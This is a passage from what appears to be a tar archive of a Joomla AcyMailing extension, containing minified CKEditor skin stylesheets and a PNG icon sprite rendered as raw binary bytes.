div.cke_dialog_ui_input_password{padding-left:2px}.cke_rtl div.cke_dialog_ui_input_text{padding-right:1px}.cke_rtl .cke_dialog_ui_vbox_child,.cke_rtl .cke_dialog_ui_hbox_child,.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_last{padding-right:2px!important}.cke_hc .cke_dialog_title,.cke_hc .cke_dialog_footer,.cke_hc a.cke_dialog_tab,.cke_hc a.cke_dialog_ui_button,.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button_ok,.cke_hc a.cke_dialog_ui_button_ok:hover{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:0}.cke_dialog_footer{filter:""}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/icons2.png000060400000024063152455305310026250 0ustar00�PNG


IHDRP��� IDATx��}{p���k�<43�G3�Go!$Y�Coa$�Q�#�pH�ݥ�.�w	���u��/Ky�r�8K�˽�f�����x��
666�lc[�,[�y��̹Lw���{fd1�U]�|������q�s����`?�gԩ3u�����}I,���$�� ��$�v��a�cR�5��|w]]�u�ϟ������+V��v�޳g�Vϛ7���o�l��sj� @$�I(P�lٲ�~2d�7����	�Xclcl1�q���H���Ye9^]1�LB�<ov�\;�v;f͚"�SO=�Ƕ��MY	b�"�H����������ᰭ���7�
8��9�V��A����F"�FDc]]]oRYYY�S��&$�I0ƾ��@Yww�vA����h��"���7�c����x���
CCC1"
0ƴ	��q�B!�L&��d��q�V+jjjp��Y�x��C]����0�Lp��H&��d29:11qz�ڵ�…w0�"ٚ��)��lB~����|Ʒ@D����n|>q���u�����(▯��f��A066��g�
[�n��==HDC˗/�E������D%�fe9]�`-c�	Ap�…����'3Ǝ�E�1&��1����w����q�����h3g�|�16�U&��z����M7��v���[o������D4�W(7
��D"q��i�|� ��k�=��T�Y�:��9s����G�A��j�l06c�sAA��$��(��?B��R-i�2%h��s�*���ȪQ.�KjR0`��2��X��*��������������8$	D�Q��q������ܾgϞ��}>�؝w�I˖-�w�y'�L&�������w�ŋӏ�c����kooo����M�я~�H
��Z|���1y��"œ9s@Dؼy3��c��16�{�1֣���۷o?�f͚F�Á��a

ahh(9::�GO;��A��;�>[K��f3�<�L�(D�(�2(ONNb�ڵܞ={���Bp��^�d�i>�z�D�����˗��3g�`Ϟ=r=-��>���g�u3�b��K�p�`�f�J��̞=�x����("���$JKKQ]]���<��3�p�
��ؿ|ӦM�����1LLL����G}49k֬����48O����)"�KD����'����_��Ҡ%����x)
ԭH�p�or�v8'��r���w����A�Z�Gs��s��?

��t�M�Ϸ���~���s�΍:th�Y"Q'=u��77��n\�t�Җ-[>�c쭬0�<��#?�D"�P(��W�\��^�4�����8��8�n��v��=	�����p����|>��h4�;�,--kii!�D=lŔf:�V�l6��q��.�&��D�y�ԩ�>��l��~��~Q������H�$��D�ĥ���s5I$q@D�xME�a����4�}�u{S�T1�I�W?2�>&"�I�u�]W�E �ba�5H_c(:�.�S����g�����8
.��cL���4��)�����1A��4�j�Z`�	�R,�1�1/!�|F�E���l^��@��ŀ�/*26mX��Ik
�L�YW7%���*�}1����1�d�<��((HgnΜ9x衇PRR���A ��#�H���B!��~�bi�8�b�XF! ��� ��,�{�⦵f:Q�Ww�[
���5b����f3�H$�L&Өhu�yAPTT�Q�+---���Z��Y	�B�c�`��Ճ����u8���1444�R�IæM������������%��F�\s
uww���=ND+�����ϻ���X���8G2�ikk}饗�z$��Q����N�E"z[\rf���1P�k�TA�AC�������/,�v;�vmY��X�9�|g���:�1c!�0��V/��f���k	�����)���;�β��b0�p��Ilذa)���{{{{w̛7��㗿��v7pPZZ�,���111��
7*��^YY���1���!�L����������5gϞťK�011oK����3g�Ν;���I��~���#Dd�o�w��U�=��pp�n��F�����@�D�Ў;..\���W�����H����w߂����}"�S�OD�����ӣ�>�V���lllL<��S�'�/i�466Rss�"Tg���׾��WtF��jkk/��ՙ���?}��^M�8��|���+Z���x|��V��m޼�i"�_'߀��z#�Uyծ��#-�\�����\.R�Q-��X,����J"P�!�a�Xt�D�7c���\�Ma����l����nhq�Ք��i�I@ID��K��DD���ĩ����mZ��aֱn�Ǧȟ��~��@��\��'���c�`@�^0�B^�D4o��t	HD���^0�/4�@\`�A/��ٻ�����EEEcH�)�Qm�ن+**���������K���V�P��`+((ذ|��R�ϷG���w�����,Y�`�Z#��Z�/,[����c``�=��������'[[[b��m��d29���w��:s�ȑ�c��G�,�o�͛�����B<Gmm-N�8x���,//��16���X���aÆã��1�χ�����&�|��=���+�ʚD"'=�/��褴���"^�w=c�@ZY-H�5m����F�� 8��ʝ;w~���l�`Cgg�|�Ͷ�����,**z�������;�ڸ��v�}h```g{{{x˖-OQ)���믿>��ӳ����R��l�� ��C�>���[�:m)�񎎎�D�.��|	�L�S "���<��s���>��R~ww�w�v��~��hII�D4m�۷o�5�����կ�*�
����ۈԙ�Ck׮�=9�Q/�NNыDT����i"�q�V'0���^�`�C/�B��n'q��^!�y�7x���o��9s&���o���H}��خ&p��ѣ|cc�쾾� D�&�m��c��{�nSS��)���ND�(e��q1o��j͜\Ϝ93��:���%�4�S6��������F�,H�S��i����Қ����|�&(�kq!��+�&��a�_M�!�+ƥPp��&��.�(�49�8�����i��샌��w�y�(���PPP��jD��D�[ZW���S�&g\�f��~�����\���s984`������^��|1!(�=���vp��	EDH&��x���?��*��#�<BV�5�!�`͚5�0��w�l6C�FzH&���b���ǫd�Nb#o������lFII	L&S�
R��ŋ��b�q�nϘE�y���!"��L�1>�쳟«l�X�� �~
���s6`���4Z[[��2�s57���q��K��c�c�!%�t��I�ɬ��j�	g��/Rg�����lj���d�޻��?�b�
]�Ҏ�K����"��F��������Lu����j�^�XCC!�Jn����3�ҹ6��bY?00�7o|>���v;d�E����~���sGaa�Qw���
�'	D"tvv:l6�I�1����S�NٝN��4�<Ap��Q���`�̙D��011���a?~<�������͡PH�抚�)7O��� H�N��\VV�D"���� �I� ��h`�ን���zE��f�D�|I�i������~�*�_�
i�.�1���D�`���@D<�NI�Ts��xr7A�.ADR��P�2�����8xE<����I}�u�3�����v���|�kd�b7���Yŋħ ?�(�?��K�O�$p����%���-��>�*@D�&���B�u�.�N����ۑn�������~`�Z���2)�Edʋ��j�cL��J�I"*G��8�ӑ��ٳ�Uq�Ѻu�
y��_(�����j�hMyfڢ�����s���!9a��SxjP�������x<o�a)��k荓���J&��ģڕ����2�����	�{PXX�˳�,}��=����X,�W��鍬�D��T��|~�g?_p��W6_��Լ!͸Q��v����8oxE� �|A�V��IDS��/h������o�;Ř/0p�c��j����q�V�_�N�@���� @D��:�-
���Z��햚�W�ٯ��N�	H:���)�O��T°���>�ar%�}@D�GGGGw9
��}Y������W�Ü}��ދ�|A��������)�ſ�T�}�K^_PB�l"Ƙ��#��-�XV�a���U
����.**��~L��2�)[U u���V�5���D���#���X�ŷ���N~�!&''/1�����hii���^�9+b�֭[���	���LG�a�PRR�9s�����D�D"�p8,����q����?��?e�-�F��ðX,P,��[�D�x<.W�n��f,�j"�l)��	��J5}�J��,h3l4c���l�B�͉�*q�ۄ��I$	0���!�	�'-�h<���$ cݺu��^�ź�:���
���o[�j�J�=E��Vg+++�@aaa���=Dt!���T��D�]"jT�qѯS\q��Hyx-��=���;ҸlҬ΀@_/T���}���pF(A����z��pD�͛GMMMd�Z�H�X�"�/����(�$狋�鮻��lc�dǏ��Çq��9�%��鮫�ÁX�LR��`P��qjjjPWW���N�>
@!%'	W`�q�8В��Fe��x<A2*)��I�^��&	��Ľn��0���EAAA��P��ccc��&��h4���v����0�L "��a��dSr���r+���)"��jժ-����jkk�uuu�z/�[�nI�+׈�ߍ�~�LD~Qo\ �{�}�S΋��Qo�qY��*���7`���i�^���BʰS��W,�&T�9HD)V*�555TUUE�4"�����HD��P(��պ[y���n���N[��Z��C��oDNRp��DD�����D���(_�Hduu5Q��H���f;�KVVV�Z�s��i��j�[YY��1���lS�����o��6JɊQ���


������uR ��X�z�V��(��]�b��+V��z
W�^����BI�'��(�@y���L{[,�Z�W����Ĩ�Zi���s�,��`0x�z����������0��c,YQQ��<c�/gϞ=�1v��jmX�h���ӂ ����իWo޲eˣ�˖-[#�)��Tl�t���g��#��]]];�c�����j��������Dd&��-Z������Ν;AD;�(�3�����+��L�檪�ᎎ�D{{;���Ӭ��:gg̘1LD���ڤM�姐
k׮u8���|����n����AO��R�f���b��'�(|��j��L?R��vcj'$R�U]�+��^�t)-]��D"���4׌1٭[YYo2�`2�PVV��������UUU������k/�	h��m���������g�������+�1J�<fh{��x�����>�wH>lܸ���t�d2ܸq��10p�@O`�#l��\��<�ӓ����r?Oq�/0�6W��1j�\�(wDAA�,�y��=�|t}��g�
�:����
@��Y�w)kQ����Z��&����n%"y����U��'=���i
������#}Z��<F���}pZ�Q�]TT�Ҧ�c
�Jg��}��b�d�gԏQ�'�˴#	"�F|g_t��|�!d�f籊��j��\BF-qo ;�kaB��JJJ�8B�B
Y��#d2��R���2�y�Z2Z�QK�O�1f��>��?�Ǩ%�s>[TWW�ܹs����L&xB��&��:::h�ܹ$9\������18���x㍌A%o���לN� �1�ӧO���l�ɓ'a6�!� c�oԷg��� �ʲ�L�kt�-�Pkkk��bkk+�r�-�D�5SF�,))�L)��+P?��


���O���
":^RR�Yپ��o�WD�(�d�\D���X�'�����B��=�P��!�=ADWl�4��UPb�Ie���~*<S}}=,X BF��F�@.���f"ž2�477�…%N�����(
����ΝÛo��la���H�7-X����r;v6�
;v�Hyp�è��@(��8$U�C<Ͽ
�PQQ��k�ܹs���y�d�Vwcl����V� ;m�`hhH�}2�u�~\"������_�Z�Dy�_Ќ�eZ�X
��U�T��f�D`��ij��	�X�� A���s가ƥ��h��P�V�����SP*PWP�k5Y�������(�Eb���w��'�P[[�5ւ��+���2�ލX>5|����S��3]]�!맫+2X����js^��˓�qy4�Fz>M3.��K��7t��O�].��OW/(Y���񮮮���~����^$b���DS/455�� ϋ>*A��n�=���C�����kHʕ�|���Z����h��f�#D��p��7o���~��	H��2HwV�N�r�#���*���鱮A�F@\�с�IK=�P;�����)f��PA�B{���ԔU477�:��酴��ܸ��4�����M�KW�r����%����	�-s��2�ps�t�L@���|A�z�"�B��GZ>����.���.ч�+|~�]dy��+c�U�����a֬Yoz<��?��L����QRR������t���#��,���@#���gM]]�kxx8��?��cJ7�b����cl�]�/^�F��x��kX*�&���6�
�hEEE�U�$�t:
��ߏ%K��ժ�
������ŋ���eL여Ps������D"�y�{�K�+�`��㨯��1&�4V!�Hu�H����555��x�w�Y!�9�n��ǝ����,))Y�Q[XHG���4'mmoo?�p8�g�^�ti�4bOb��ϨXc�l
���q�x[[�q\`hh�Y��v�u9������~��-^��R�w�J��K���������F�s�;KKK�]�d��/�00�Bv�������477g%����x�R^�j�
�W��*e�>�O��^�W{�!n��1�N�I��M���n�����*��q())!�lu8�5k�vD[,+�q��SQQ�=�r����!�ټ�Yi��Ƌ�MrOgg�m6����7�����cs��]`��vJ
���$���ϟ��{1kCggg����NL�ʿ�N�3
��;t�MAc�%Mq�(�##K9�Di:�W�̍i���-��O
�t��,�RM
5�r�&rѓ�DTKDg�����!�k��lQQ�>]1�"�'/U
Y/�'@�}҆~��� ��E]!����l6������z�������'��^`U��Η̝;wYqq������o6��@gg�m���	R'rw_ggg�1����Op�W������$]П�\��唲y�:H?��mC'���0�W8����{���1�H� L�T�bdK�y���8���
�@D�Z��X,�F��DR.3�i�1�l6̘1���$"J(�����:;;��`��y=�X,�O��ٳ��"h}�z2��Z�ϰ5�I3�L��X�s�X,y�q>���v��|�9>dt"R+:9�***��@'<U��3�j�ȶV�uY�V�R�`b��N"��.0`�s'R�/�>RMӃ�#�������_�2�Fq�ر�	�2�^����={6��3�Ej��0�Mj��_�ٯ~��N�ǃx<�d2	����"����ĉ�<�e�@,�F%o�IDAT\�pEaaa���0� G	���p8p�ݨ��DMMM����]�`���2�ry�pUUU�����y��a����N�%%%���b�ڵ+���� "�'��w�}������jll$q�]�������i�8kɜ��k쫏?��f�},�]��Dt�����d�&$�����w�f�fM"�o�ʕ�u	���D�R����0`��'����Q7|����@΁fKK��Z�dz
)��iu�#-��������f�����d2�t�ܹ/x�8��0����\sMKQQ�V+���da2�0::�W_}u���R3�^ZZ�����p8�X8�'\�`� ����+//oݴi������~u���ctt��8�s3gΜ�y����� `bbCCC�|�����1��7kkkgΜ���sϡ���@@���	EEEKvtt��g��o1�>P�}�O~�-�����C�6��l6��Ǐ�K�3ߙ��+W�'�����l�FD�R6��d<�DDn����`�C/z����r��燗���������j�#�H|�Q
�y�9�	��%+�)�������F��>���-��1�#G���7�%����������z$	��h4���1���}���~sxx8 �O'	444����@�WWW��� "���(�~?���,]���E�=����P(���J�L@��,b����}��f����������b1y�]>,,I�X,�����w�}��H��;;::֏����br9�k@n�t����}��MH逿a��[�x�@  s*�����x�.]�<��3[8
�3�����?�r�…�X,�aZ���PXX��:���ʿϜ9�`�K�%��d2	A�D�z��=��Q��=^�w���t�1v'c,���O���lF�S���ın�a=syy�j���b������mhhX��2AZҢl���X"�0����g�U,nkksI��^��rll�oc�~��####�B�Unll�f2��c�����t:QUU%wTAAN�:�@ ���͆d2�ƻ�{�ӧO�l``�}ttt��b1K�"�,�1�n-��<Ϟ;v��|����~C���1�W�R�k3?j�VH�3��恖[o��z�!�;w�Mgٖ����B4Ekk��f�C=����{B�����	����t�hiiq
�p��'���h4����	�-/������8���}�����bg***��C�����=��ҥK���B�Pu<��ٳ3�<�t:q���Ѫ��c7�p�1��ޥK�b�\s��]���I����/b���~�a�`���~����Ej	�ZM�����'��=y��e����VWWG���k������8����<"�^8�d2I/��R����+W��f�ڸIm�'���y<�:�]TT������+.��[�+K�9s����y��� FGG��o�s@D�iݞ1K\ijkk�z�j…p���)*b柸	3f�@ii��;	�x###�«�	PTT��S�r�:�O��o��x:�����X5�$$�v�*P�q�GZ�-q�"�����|��׾&WRB�9so��VZ���i�*�9k�����9�?>x���k�A�H$����;wn���dF�,H�	�"?�z{{[�c-��\D�-M�w1����dVV"B<���c�JN���H�3��H�ꑚ��M
�SeJx��U*���H	A099��ʧp&ǝ� ��	�Wi�A��t�0p�#�a��:�|A\k���sS�6R�F��X��s����D�H.\�uB����MR��
"*T��5_���p�c�n�s6A�i|��@G/�|���+E�Ԝ�"k��y���v�R*�:�������_���rx�^X�֌Ej�#�u�\,g�^�	Dd3u<�f6A��n7y�^]!�#�����d�����<׬��XG2p���F\��zIEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/editor.css000060400000106775152455305310026360 0ustar00.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left 